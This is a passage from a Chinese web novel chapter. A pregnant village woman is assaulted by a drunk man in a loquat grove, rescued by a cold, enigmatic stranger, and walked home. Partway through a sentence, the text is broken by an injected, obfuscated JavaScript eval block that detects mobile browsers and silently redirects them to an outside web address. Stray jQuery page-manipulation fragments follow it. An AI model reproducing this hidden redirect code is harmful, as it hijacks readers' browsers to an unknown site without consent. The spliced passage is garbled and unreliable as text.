015
陈家的枇杷林坐落在向阳的缓坡上,数十株枇杷树绿叶葳蕤,枝头坠满黄澄澄的果实,似乎连空气中都漾着清甜的果香。
“到了到了,就是这儿了!”
陈大娘放下竹篮,笑盈盈指着那片果实累累的枇杷林,“棠娘,你瞧,今年这枇杷长得可争气!你尽可摘,挑那些个头饱满的,皮薄肉厚,汁水足,最是甜润!”
她说着,取出一把有些旧但磨得锃亮的剪刀,递给溪棠,又指指树边几个空竹篮,“用这个,小心别划着手。篮子只管装!我去菜地那头除几垄草,你摘好了唤我一声便成!”
陈大娘是个闲不住的性子,将这边安排妥当,便拎起自己带来的小锄头,风风火火地朝菜地那头走去,很快身影就被几棵较粗的果树掩住了。
此刻大娘一走,只剩溪棠和裴铎两人,四下一时静谧。
溪棠不敢看裴铎,低着头,快步走到离他站立处最远的一棵果树下,拿起剪刀,刻意背对着他,仰起头,佯作专心地挑选枝叶间金黄的果实。
裴铎并未靠近她,亦未刻意随行。
他信步于林边一处略高的土埂上,负手而立,目光放远,掠过那层层叠叠的苍翠山峦,又及零星散布的村舍田亩。
这乡野之地,景致虽粗朴,无雕梁画栋之巧,无曲水流觞之雅,但天高地阔,山风浩荡,草木自有一番勃勃的野趣,倒是宫廷苑囿、亭台楼阁所全然没有的风致。
他漫不经心地览着,目光偶尔掠过林中那抹纤细的、刻意绕着树丛移动、始终与他保持着最远距离的天青色身影,见她那副如避蛇蝎、恨不得隐入树中的模样,唇角掠过一丝极淡的弧度。
胆小如鼠,且毫无长进。
溪棠见他没有近前之意,周遭唯闻风声鸟语,方轻轻舒出一口气。
她渐渐沉入这采摘之中,指尖拂过饱满的果实,鼻端萦着清甜的香气,目光在枝叶间仔细逡巡,寻找着下一串更金黄圆满的果子,脚步亦不由自主地朝林子更深处、果树更显密集的地方挪移几步。
彼处枝叶交叠,形成一小片浓荫。
就在她微微倾身,伸手去够一簇隐在叶片后的果实时,旁边那茂密的灌木丛蓦地一阵剧烈晃动,哗啦作响,枝叶断折!
溪棠一惊,心道是野猪抑或什么猛兽,急欲后退,一个散发着浓烈酒臭的高大黑影,骤然自暗处扑撞出来!
却是黄三!
他显是喝得酩酊大醉,较上次更为不堪,双眼布满猩红血丝,眼神浑浊狂乱,脸上横肉因狞笑而不住抖动。
黄三今日原是在附近闲晃,不意竟远远瞧见溪棠独自进了这片林子。
他弓着腰,仗着灌木与果树的遮掩,悄然摸了过来。
恰见陈大娘离去,四周悄无他人,而溪棠正背对着他往林子深处行去。
他这个角度,恰被几棵枝叶繁茂的枇杷树遮挡视线,并未察觉远处土埂上尚有人在。
酒意汹涌上头,邪火焚心,黄三再也按捺不住。
“唔——”
溪棠的惊呼尚未及出口,一只散发着浓重馊臭的大手已死死捂严她的口鼻。
手中的竹篮应声打翻,金黄的枇杷滚落一地,尽沾了泥土草屑,连那剪刀也脱手飞出,坠在几步外的草丛里。
“嗬……可教三爷我逮着你落单了……”
黄三喷吐着熏人酒气的嘴直凑到她耳边,“上次的账……今日爷连本带利跟你仔细算算……倒要瞧瞧你那姘头可还来不来得及伸手……你乖乖的,让三爷痛快了,说不定便饶你……”
泪水汹涌而出,流进嘴里,一片苦涩腥咸。
完了……这次怕是真的无人能及时赶至了……
阿枫哥不在,大娘又离得远……
沈淮……他站得那么远,他可看见了吗,他会再次伸手相救吗?
说不定正乐得清静,少个麻烦……
夫君……爹爹……孩子……
混乱的念头同恐惧一齐撕扯着她,眼前阵阵发黑,耳中嗡鸣不绝。
便在此时,黄三喉中陡地迸出一声短促扭曲的惨嚎。
但见他整个人如同断线的纸鸢般倒飞出去,沉重地摔在不远处一截凸起的树根上,发出一声闷响,随即咳出血沫,竟连惨叫都发不出,只剩下嗬嗬的抽气声。
他蜷在地上,捂着胸口剧咳数声,方挣扎着爬起身,踉跄着向林深处逃去,眨眼间便不见了踪影。
溪棠在那钳制骤松的瞬间,双腿一软,再也支撑不住,身子向后踉跄着跌去。
她下意识地伸手想要抓住点什么稳住自己,却只徒劳地挥动一下,什么也没捞着。
就在她以为自己要重重摔在那坚硬的土地上、甚或伤及腹中那未出世的骨血之时,一只手臂稳稳地、及时地托住她的后腰。
那个名唤沈淮的男人,又一次救了她。
他不知何时已来至她身侧,伸手揽住她。
两人的距离霎时拉得极近,近到她能清晰嗅到他身上那股清冽的气息,驱散了黄三留下的那股令人作呕的味道。
溪棠惊魂未定,全靠腰间那只手臂的力道方勉强未曾瘫倒在地。
她仰着头,泪水模糊的视线里,映入他线条冷硬的下颌与微微抿着的薄唇。
她能感觉到他掌心透过单薄的衣衫传来的那抹温热,熨帖在她腰后,烫得她控制不住地细细发颤。
裴铎扶住她,掌心所触是意料之外的一片绵软。
她的脸近在咫尺,苍白得寻不出一丝血色,泪痕狼藉交错,愈发衬得那双含泪的眼眸湿润潋滟。
那唇瓣亦失了血色,微微张着,急促地、细弱地喘着气,那气息拂过他胸前衣料,带着一种凌乱而温热的触感。
那股熟悉的、恼人的悸动,再次毫无预兆地窜起,比前两次在屋内换药时都更清晰,更不容忽视。
仿佛有暗流汹涌,试图冲破某种桎梏。
他蹙了下眉,对自己身体这接二连三、不受控制的反应感到深切的厌烦与莫名躁意。
几乎是下意识的,他松开扶在她腰间的手,动作有些突兀。
溪棠本就腿软无力,全靠他支撑,这骤然一松,她惊呼一声,身体再次失去平衡,歪斜着又要向旁边布满碎石的地面倒去。
裴铎眉头蹙得更紧,手却比思绪更快,再次迅疾伸出,稳稳地扶住她的上臂,这次力度控制得刚好,既让她能站稳,又避免过于贴近的接触。
真是……笨拙。
他在心底漠然想,对自己这接连两次的“多事”感到些许不耐。
面上依旧没什么表情,只淡淡道:“站稳。”
溪棠借着他的力道,慌忙稳住身子,这次不敢再完全倚靠,自己暗暗使力站直。
她声音还带着未褪的哽咽与惊悸:“多、多谢沈郎君……又一次相救……”
她顿了顿,感受到臂上他并未收回的、温热的手,那触感让她心慌意乱,鼓起剩余的勇气,小声道:“……郎君,可以……放开我了么?”
裴铎闻言,目光在她低垂的、犹自颤动不止的眼睫上停留一瞬,那浓密的长睫上还沾着细小的泪珠。
随即,他松开手,后退半步,拉开两人之间过于接近的距离。
方才扶住她时,那一瞬间的失神……虽然短暂,却真切地发生了。
这对他而言,是极为陌生乃至不该有的体验。
他习惯于掌控一切,包括自己的身体与心绪。
这种因一个无关紧要、甚至堪称麻烦的村妇而产生的、脱离掌控的细微波动,令他感到不悦,却也……在心底最深处,勾起一丝极淡的、连他自己都未曾深思的、诡异的兴味。
阳光依旧明媚,透过枇杷树层层叠叠的枝叶,洒下斑驳晃动的光影。
陈大娘提着小锄头,口中哼着不成调的乡野小曲,脚步轻快地从菜地那头绕回来,脸上还带着劳作后的红润。
她心里盘算着,等除了草,再帮棠娘多摘些枇杷,那孩子瞧着清瘦,得好生补补。
刚绕过那几棵老枇杷树,眼前的景象便让她脚步一顿,哼唱声戛然而止。
地上散落着一片金黄的枇杷,许多已被踩踏得稀烂,黄澄澄的果肉混着泥土草屑,一片狼藉。
那只竹篮倒扣在一旁,剪刀也掉在不远处的草丛里。
棠娘脸色苍白,眼眶泛红,倚着最近的一棵树干,微微喘息着,身子似乎还在细微地发颤。
那位沈郎君则立在几步之外,神色平淡,但周遭的空气莫名有些凝滞。
“这、这是咋回事?”
陈大娘心头一紧,连忙扔下小锄头,几步跨到溪棠身边,一把扶住她的胳膊,上下打量,“棠娘?你没事罢?脸色怎地这般难看?可是摔着了?还是身上不舒坦?”
她目光扫过地上的狼藉,又急急道,“这些果子……是碰倒了?没伤着哪里罢?肚子可难受?”
溪棠被陈大娘一迭声的关切问得鼻尖一酸,方才强压下的委屈险些再次决堤。
她吸了吸鼻子,摇摇头,声音还有些沙哑:“没、没摔着,大娘,我没事……就是、就是……”
她咬了咬唇,不知该如何说,目光下意识地飘向静立一旁的裴铎。
陈大娘顺着她的目光看去,心里隐隐有了猜测,试探着问:“可是……遇着什么事了?这林子平日里清静,难道有野物窜出来惊着你了?”
溪棠轻轻摇头:“不、不是野物……是、是黄三。”
“黄三?!”
陈大娘嗓门陡然拔高,又惊又怒,“那个天杀的混账东西!他竟敢……竟敢跟到这里来撒野?!”
陈大娘拉着溪棠的手,只觉得她指尖冰凉,心里更是愧疚得不行。
“棠娘,对不住,对不住啊!是大娘不好,想着让你出来散散心,摘点果子,没成想竟碰上这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480269|201698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等晦气事!让你受惊了,要是你有个什么闪失,大娘我、我可怎么跟你爹交代,怎么跟自己交代啊!”
她是真心喜欢这个温婉懂事的孩子,把她当亲生的疼,此刻只觉得是自己考虑不周,才让孩子遭受这场无妄之灾。
“不怪大娘,真的不怪您。是那黄三,他、他本就存了坏心,躲在暗处……谁也没想到的。您千万别这么说。”
溪棠反握住陈大娘的手,“多亏了……多亏了沈郎君及时赶到。我才没事。”
陈大娘叹气,又看向裴铎,连连拱手:“沈郎君,今日真是多亏了您啊!要不是您恰好在,及时赶跑了那混账,后果真是不堪设想!”
她想起自己先前还觉得这位郎君脾气古怪,不太好亲近,此刻却是满心感激,只觉得这位“沈郎君”虽话少冷淡了些,但关键时刻真是极靠得住的好人。
裴铎对陈大娘的感激只是略一颔首,语气无波:“举手之劳。”
陈大娘知道他性子冷淡,也不在意,看向溪棠心疼不已:
“棠娘,瞧你这模样,怕是吓得不轻。这果子今日不摘也罢,你先回家歇着,好生定定神。这些枇杷,”
她指了指树上未摘的,“等下大娘收拾了,挑好的给你送家去,你和你爹都尝尝鲜。”
溪棠此刻也确实心神俱疲,小腹虽不再剧痛,但隐有不适,且实在不愿再在这刚刚发生过可怕事情的地方多待。
她点了点头,低声道:“那……麻烦大娘了。”
“麻烦啥,都是大娘不好。”
陈大娘满脸愧疚,又看了看裴铎,犹豫了一下,恳切道:“沈郎君,您看……棠娘她这样子,一个人回去我也不放心。虽说青.天白日,但那黄三……谁知他会不会贼心不死,又在哪儿蹲守。您……您若是方便,能否送棠娘一程?……”
溪棠的心提了起来。
和他单独回去?
她悄悄抬眼,极快地瞥了一眼沈淮。
他侧身而立,目光落在远处的山岚上,侧脸在光影中显得轮廓分明而冷峻。
如果没有他,方才自己会怎样?
如果没有他,黄三第一次来家里时,自己又会怎样?
是的,他可怕。
他来历成谜,手段狠厉,心思难测,留在家中如同悬挂一柄不知何时会落下的利剑。
可也是这柄“利剑”,两次在她最无助、最危险的时刻,为她挡开近在咫尺的凌.辱。
万一黄三贼心不死,真的在半路等着呢?
方才他逃得狼狈,可谁说得准那种混账会不会脑子一热又折返?
这个念头让她不寒而栗。
与之相比,和沈淮同行……似乎,反而成了眼下更不坏,甚至可以说是“安全”的选择。
至少,有他在,黄三绝不敢再冒犯。
裴铎在陈大娘提出请求时,目光已从远处收回,淡淡扫过溪棠微微颤抖的肩膀。
片刻,他方颔首,简短地应了一个字:“嗯。”
陈大娘见他答应,顿时松了口气,连声道谢:“哎!好好!多谢郎君!棠娘,那你就跟沈郎君慢慢走回去,千万别急,到家了好好歇着,我晚些就把枇杷送去!”
溪棠又对陈大娘道了谢,这才慢慢挪动脚步,走向林外的小径。
回程的路似乎比来时更长。
溪棠行在前头,步履较之来时更为虚浮迟缓。
惊吓过度后,体力似也随着心神一同溃散,小腹的隐痛未曾消弭,行走间便格外小心,一手不自觉地轻轻护在腹前。
她垂着头,目光只盯着脚下的土路,不敢回头,却能清晰地听到身后不远处,那沉稳得不带一丝疲乱的脚步声,一下下,敲在她紧绷的心弦上。
山风拂过,带来草木的气息,却吹不散她心头盘桓不去的后怕。
裴铎跟在后面,步伐从容。
她的乌发有些松散,几缕碎发随风飘动。
真是……弱得可怜。
若非他恰好在场,两次后果都不堪设想。
这样一个手无缚鸡之力、连自保都无能的村妇,仅仅因为生得略有几分颜色,便屡次招来祸端。
若无旁人庇护,在这乡野之间,恐怕早已被啃噬得骨骸无存。
她那个据说外出的夫君,又是何等无能之辈,竟将怀有身孕的妻子独自留在家中,面对这等险恶境地?
他心底掠过一丝讥诮。
路旁水田的粼粼水光中,隐约倒映出一前一后两个身影。
前面的她,身形纤细,步履有些滞重。
后面的他,身姿挺拔,如同静默的山岳。
日光将他们模糊的身影投在水面上,微微晃动。
他眸光微沉,审视着前方那仿佛随时会跌倒的背影。
胆小,怯懦,怀着别人的孩子,除了那几分过于脆弱的清秀,并无甚特别。
何以偏偏对她……